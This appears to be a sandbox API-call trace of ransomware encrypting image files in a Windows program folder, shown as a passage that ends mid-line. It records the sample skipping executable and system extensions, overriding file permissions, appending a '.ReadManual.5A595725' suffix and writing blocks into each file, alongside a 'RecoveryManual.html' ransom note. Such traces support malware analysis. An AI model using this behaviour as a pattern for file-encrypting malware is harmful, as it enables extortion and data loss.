[0251.967] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.967] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0251.969] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0251.969] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1e96c) returned 0x1de0000 [0251.971] UnmapViewOfFile (lpBaseAddress=0x1de0000) returned 1 [0251.972] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37264035334) returned 1 [0251.972] CloseHandle (hObject=0x1a0) returned 1 [0251.972] SetSecurityInfo () returned 0x5 [0251.972] SetSecurityInfo () returned 0x5 [0251.972] LocalFree (hMem=0x674d38) returned 0x0 [0251.972] CloseHandle (hObject=0x184) returned 1 [0251.972] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fa69c7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fa69c7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xdc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LightBlueRectangle.PNG", cAlternateFileName="")) returned 1 [0251.972] lstrcpyW (in: lpString1=0x6ab90c, lpString2="LightBlueRectangle.PNG" | out: lpString1="LightBlueRectangle.PNG") returned="LightBlueRectangle.PNG" [0251.972] lstrcmpiW (lpString1="LightBlueRectangle.PNG", lpString2="RecoveryManual.html") returned -1 [0251.972] StrStrIW (lpFirst="LightBlueRectangle.PNG", lpSrch=".ReadManual.5A595725") returned 0x0 [0251.972] StrCmpIW (psz1="PNG", psz2="exe") returned 1 [0251.972] StrCmpIW (psz1="PNG", psz2="dll") returned 1 [0251.972] StrCmpIW (psz1="PNG", psz2="sys") returned -1 [0251.972] StrCmpIW (psz1="PNG", psz2="msi") returned 1 [0251.972] StrCmpIW (psz1="PNG", psz2="mui") returned 1 [0251.972] StrCmpIW (psz1="PNG", psz2="inf") returned 1 [0251.972] StrCmpIW (psz1="PNG", psz2="cat") returned 1 [0251.972] StrCmpIW (psz1="PNG", psz2="bat") returned 1 [0251.972] StrCmpIW (psz1="PNG", psz2="cmd") returned 1 [0251.972] StrCmpIW (psz1="PNG", psz2="ps1") returned -1 [0251.972] StrCmpIW (psz1="PNG", psz2="vbs") returned -1 [0251.972] StrCmpIW (psz1="PNG", psz2="ttf") returned -1 [0251.973] StrCmpIW (psz1="PNG", psz2="fon") returned 1 [0251.973] StrCmpIW (psz1="PNG", psz2="lnk") returned 1 [0251.973] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" [0251.973] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG.ReadManual.5A595725" [0251.973] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG.ReadManual.5A595725") returned 98 [0251.973] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37264146525) returned 1 [0251.973] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png")) returned 0x20 [0251.973] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.973] GetLastError () returned 0x5 [0251.973] GetNamedSecurityInfoW () returned 0x0 [0251.973] SetNamedSecurityInfoW () returned 0x0 [0251.974] SetNamedSecurityInfoW () returned 0x0 [0251.974] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\LightBlueRectangle.PNG" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\lightbluerectangle.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0251.974] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=220) returned 1 [0251.974] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdc, lpName=0x0) returned 0x1a0 [0251.974] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0251.975] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.975] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0251.976] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0251.977] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdc) returned 0x2f0000 [0251.977] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0251.977] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37264569902) returned 1 [0251.977] CloseHandle (hObject=0x1a0) returned 1 [0251.977] SetSecurityInfo () returned 0x5 [0251.977] SetSecurityInfo () returned 0x5 [0251.977] LocalFree (hMem=0x674d38) returned 0x0 [0251.977] CloseHandle (hObject=0x184) returned 1 [0251.977] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MainMenuButtonIcon.png", cAlternateFileName="")) returned 1 [0251.977] lstrcpyW (in: lpString1=0x6ab90c, lpString2="MainMenuButtonIcon.png" | out: lpString1="MainMenuButtonIcon.png") returned="MainMenuButtonIcon.png" [0251.977] lstrcmpiW (lpString1="MainMenuButtonIcon.png", lpString2="RecoveryManual.html") returned -1 [0251.977] StrStrIW (lpFirst="MainMenuButtonIcon.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0251.977] StrCmpIW (psz1="png", psz2="exe") returned 1 [0251.978] StrCmpIW (psz1="png", psz2="dll") returned 1 [0251.978] StrCmpIW (psz1="png", psz2="sys") returned -1 [0251.978] StrCmpIW (psz1="png", psz2="msi") returned 1 [0251.978] StrCmpIW (psz1="png", psz2="mui") returned 1 [0251.978] StrCmpIW (psz1="png", psz2="inf") returned 1 [0251.978] StrCmpIW (psz1="png", psz2="cat") returned 1 [0251.978] StrCmpIW (psz1="png", psz2="bat") returned 1 [0251.978] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0251.978] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0251.978] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0251.978] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0251.978] StrCmpIW (psz1="png", psz2="fon") returned 1 [0251.978] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0251.978] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" [0251.978] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png.ReadManual.5A595725" [0251.978] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png.ReadManual.5A595725") returned 98 [0251.978] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37264674803) returned 1 [0251.978] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png")) returned 0x20 [0251.978] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.978] GetLastError () returned 0x5 [0251.978] GetNamedSecurityInfoW () returned 0x0 [0251.979] SetNamedSecurityInfoW () returned 0x0 [0251.979] SetNamedSecurityInfoW () returned 0x0 [0251.979] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\MainMenuButtonIcon.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\mainmenubuttonicon.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0251.980] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=2922) returned 1 [0251.980] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xb6a, lpName=0x0) returned 0x1a0 [0251.980] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xd4) returned 1 [0251.980] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.980] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0251.982] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0251.982] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xb6a) returned 0x2f0000 [0251.982] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0251.982] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37265075850) returned 1 [0251.982] CloseHandle (hObject=0x1a0) returned 1 [0251.982] SetSecurityInfo () returned 0x5 [0251.982] SetSecurityInfo () returned 0x5 [0251.982] LocalFree (hMem=0x674d38) returned 0x0 [0251.982] CloseHandle (hObject=0x184) returned 1 [0251.983] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7103ef3b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7103ef3b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f4d6d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xf63, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="navSubpicture.png", cAlternateFileName="")) returned 1 [0251.983] lstrcpyW (in: lpString1=0x6ab90c, lpString2="navSubpicture.png" | out: lpString1="navSubpicture.png") returned="navSubpicture.png" [0251.983] lstrcmpiW (lpString1="navSubpicture.png", lpString2="RecoveryManual.html") returned -1 [0251.983] StrStrIW (lpFirst="navSubpicture.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0251.983] StrCmpIW (psz1="png", psz2="exe") returned 1 [0251.983] StrCmpIW (psz1="png", psz2="dll") returned 1 [0251.983] StrCmpIW (psz1="png", psz2="sys") returned -1 [0251.983] StrCmpIW (psz1="png", psz2="msi") returned 1 [0251.983] StrCmpIW (psz1="png", psz2="mui") returned 1 [0251.983] StrCmpIW (psz1="png", psz2="inf") returned 1 [0251.983] StrCmpIW (psz1="png", psz2="cat") returned 1 [0251.983] StrCmpIW (psz1="png", psz2="bat") returned 1 [0251.983] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0251.983] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0251.983] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0251.983] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0251.984] StrCmpIW (psz1="png", psz2="fon") returned 1 [0251.984] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0251.984] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" [0251.984] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png.ReadManual.5A595725" [0251.984] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png.ReadManual.5A595725") returned 93 [0251.984] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37265245594) returned 1 [0251.984] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png")) returned 0x20 [0251.984] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.985] GetLastError () returned 0x5 [0251.985] GetNamedSecurityInfoW () returned 0x0 [0251.985] SetNamedSecurityInfoW () returned 0x0 [0251.985] SetNamedSecurityInfoW () returned 0x0 [0251.986] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\navSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\navsubpicture.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0251.986] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=3939) returned 1 [0251.986] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf63, lpName=0x0) returned 0x1a0 [0251.986] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xca) returned 1 [0251.987] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.987] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0251.988] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0251.989] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf63) returned 0x2f0000 [0251.989] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0251.989] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37265751038) returned 1 [0251.989] CloseHandle (hObject=0x1a0) returned 1 [0251.989] SetSecurityInfo () returned 0x5 [0251.989] SetSecurityInfo () returned 0x5 [0251.989] LocalFree (hMem=0x674d38) returned 0x0 [0251.989] CloseHandle (hObject=0x184) returned 1 [0251.989] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70fccb24, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70fccb24, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x1197, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nav_leftarrow.png", cAlternateFileName="")) returned 1 [0251.989] lstrcpyW (in: lpString1=0x6ab90c, lpString2="nav_leftarrow.png" | out: lpString1="nav_leftarrow.png") returned="nav_leftarrow.png" [0251.989] lstrcmpiW (lpString1="nav_leftarrow.png", lpString2="RecoveryManual.html") returned -1 [0251.989] StrStrIW (lpFirst="nav_leftarrow.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0251.989] StrCmpIW (psz1="png", psz2="exe") returned 1 [0251.989] StrCmpIW (psz1="png", psz2="dll") returned 1 [0251.989] StrCmpIW (psz1="png", psz2="sys") returned -1 [0251.989] StrCmpIW (psz1="png", psz2="msi") returned 1 [0251.989] StrCmpIW (psz1="png", psz2="mui") returned 1 [0251.989] StrCmpIW (psz1="png", psz2="inf") returned 1 [0251.989] StrCmpIW (psz1="png", psz2="cat") returned 1 [0251.989] StrCmpIW (psz1="png", psz2="bat") returned 1 [0251.989] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0251.990] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0251.990] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0251.990] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0251.990] StrCmpIW (psz1="png", psz2="fon") returned 1 [0251.990] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0251.990] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" [0251.990] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png.ReadManual.5A595725" [0251.990] lstrlenW (lpString="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png.ReadManual.5A595725") returned 93 [0251.990] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd40 | out: lpPerformanceCount=0x434fd40*=37265853276) returned 1 [0251.990] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png")) returned 0x20 [0251.990] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.990] GetLastError () returned 0x5 [0251.990] GetNamedSecurityInfoW () returned 0x0 [0251.990] SetNamedSecurityInfoW () returned 0x0 [0251.990] SetNamedSecurityInfoW () returned 0x0 [0251.991] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_leftarrow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\nav_leftarrow.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0251.991] GetFileSizeEx (in: hFile=0x184, lpFileSize=0x434fd58 | out: lpFileSize=0x434fd58*=4503) returned 1 [0251.991] CreateFileMappingW (hFile=0x184, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1197, lpName=0x0) returned 0x1a0 [0251.991] SetFileInformationByHandle (hFile=0x184, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xca) returned 1 [0251.992] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0251.992] WriteFile (in: hFile=0x184, lpBuffer=0x434fc40*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x434fc40*, lpNumberOfBytesWritten=0x434fc3c*=0x20, lpOverlapped=0x0) returned 1 [0251.994] WriteFile (in: hFile=0x184, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc3c, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc3c*=0x100, lpOverlapped=0x0) returned 1 [0251.994] MapViewOfFile (hFileMappingObject=0x1a0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1197) returned 0x2f0000 [0251.995] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0251.995] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd48 | out: lpPerformanceCount=0x434fd48*=37266337553) returned 1 [0251.995] CloseHandle (hObject=0x1a0) returned 1 [0251.995] SetSecurityInfo () returned 0x5 [0251.995] SetSecurityInfo () returned 0x5 [0251.995] LocalFree (hMem=0x674d38) returned 0x0 [0251.995] CloseHandle (hObject=0x184) returned 1 [0251.996] FindNextFileW (in: hFindFile=0x6bff40, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ff2c81, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ff2c81, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f27579, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11a3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nav_rightarrow.png", cAlternateFileName="")) returned 1 [0251.996] lstrcpyW (in: lpString1=0x6ab90c, lpString2="nav_rightarrow.png" | out: lpString1="nav_rightarrow.png") returned="nav_rightarrow.png" [0251.996] lstrcmpiW (lpString1="nav_rightarrow.png", lpString2="RecoveryManual.html") returned -1 [0251.996] StrStrIW (lpFirst="nav_rightarrow.png", lpSrch=".ReadManual.5A595725") returned 0x0 [0251.996] StrCmpIW (psz1="png", psz2="exe") returned 1 [0251.996] StrCmpIW (psz1="png", psz2="dll") returned 1 [0251.996] StrCmpIW (psz1="png", psz2="sys") returned -1 [0251.996] StrCmpIW (psz1="png", psz2="msi") returned 1 [0251.996] StrCmpIW (psz1="png", psz2="mui") returned 1 [0251.996] StrCmpIW (psz1="png", psz2="inf") returned 1 [0251.996] StrCmpIW (psz1="png", psz2="cat") returned 1 [0251.996] StrCmpIW (psz1="png", psz2="bat") returned 1 [0251.996] StrCmpIW (psz1="png", psz2="cmd") returned 1 [0251.996] StrCmpIW (psz1="png", psz2="ps1") returned -1 [0251.996] StrCmpIW (psz1="png", psz2="vbs") returned -1 [0251.996] StrCmpIW (psz1="png", psz2="ttf") returned -1 [0251.996] StrCmpIW (psz1="png", psz2="fon") returned 1 [0251.996] StrCmpIW (psz1="png", psz2="lnk") returned 1 [0251.996] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" | out: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png") returned="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png" [0251.996] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\nav_rightarrow.png", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\DVD 